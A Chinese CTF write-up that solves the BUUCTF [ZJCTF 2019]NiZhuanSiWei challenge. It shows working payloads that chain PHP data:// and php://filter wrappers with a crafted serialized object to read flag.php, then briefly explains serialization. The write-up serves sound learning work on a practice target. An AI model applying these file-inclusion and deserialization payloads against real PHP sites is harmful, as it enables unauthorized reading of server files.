BUUCTF [ZJCTF 2019]NiZhuanSiWei特详解(php伪协议+序列化与反序列化)
文章目录
- [ZJCTF 2019]NiZhuanSiWei
- 解题过程
- 序列化与反序列化
- 练习
- POC、EXP、Payload与Shellcode
[ZJCTF 2019]NiZhuanSiWei
解题过程
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
一、 PHP file_get_contents() 函数详解
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
要求我们传入一个text
文件,内容为welcome to the zjctf
,我们可以使用PHP伪协议中的php://input
【将post
请求中的数据作为PHP
代码执行】或者data://
【写入协议】。
?text=data://text/plain,welcome to the zjctf
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= //使用base64编码
二、
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
PHP preg_match()函数详解
执行正则表达式匹配,文件中不能出现flag
。我们先尝试直接访问useless.php
,依然为题目一开始点开的源码。
我们有看到useless.php
文件包含,在这之前我们需要先使用filter
协议读取里面的源码,然后将password
反序列化出来,这需要我们使用序列化来还原password
。
/?file=php://filter/read=convert.base64-encode/resource=useless.php
/?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
三、得到一段base64
编码后,解密得
<?php
class Flag{
//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
在PHP在线工具中进行序列化操作
<?php
class Flag{
//flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
或者
<?php
class Flag{
//flag.php
public $file="flag.php";
}
echo serialize(new Flag);
?>
得到
O:4:"Flag":1:{
s:4:"file";s:8:"flag.php";}
这里的
O
是对象的意思,表示变量类型;4
为类名长度;
调用了名为flag
的类;1
为属性数量(类的变量个数);
{属性类型,属性名长度,属性名;属性类型,属性名长度,属性名}
最终的payload
为
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{
s:4:"file";s:8:"flag.php";}
查看网页源码后得到flag
。
序列化与反序列化
序列化和反序列化的定义:
Java序列化就是指把Java对象转换为字节序列的过程
Java反序列化就是指把字节序列恢复为Java对象的过程。序列化最重要的作用:在传递和保存对象时.保证对象的完整性和可传递性。对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。
反序列化的最重要的作用:根据字节流中保存的对象状态及描述信息,通过反序列化重建对象。
总结:核心作用就是对象状态的保存和重建。(整个过程核心点就是字节流中所保存的对象状态及描述信息)
练习
pikachu漏洞练习平台(PHP序列化反序列化)
POC、EXP、Payload与Shellcode
渗透中POC、EXP、Payload与Shellcode的区别
还没有评论,来说两句吧...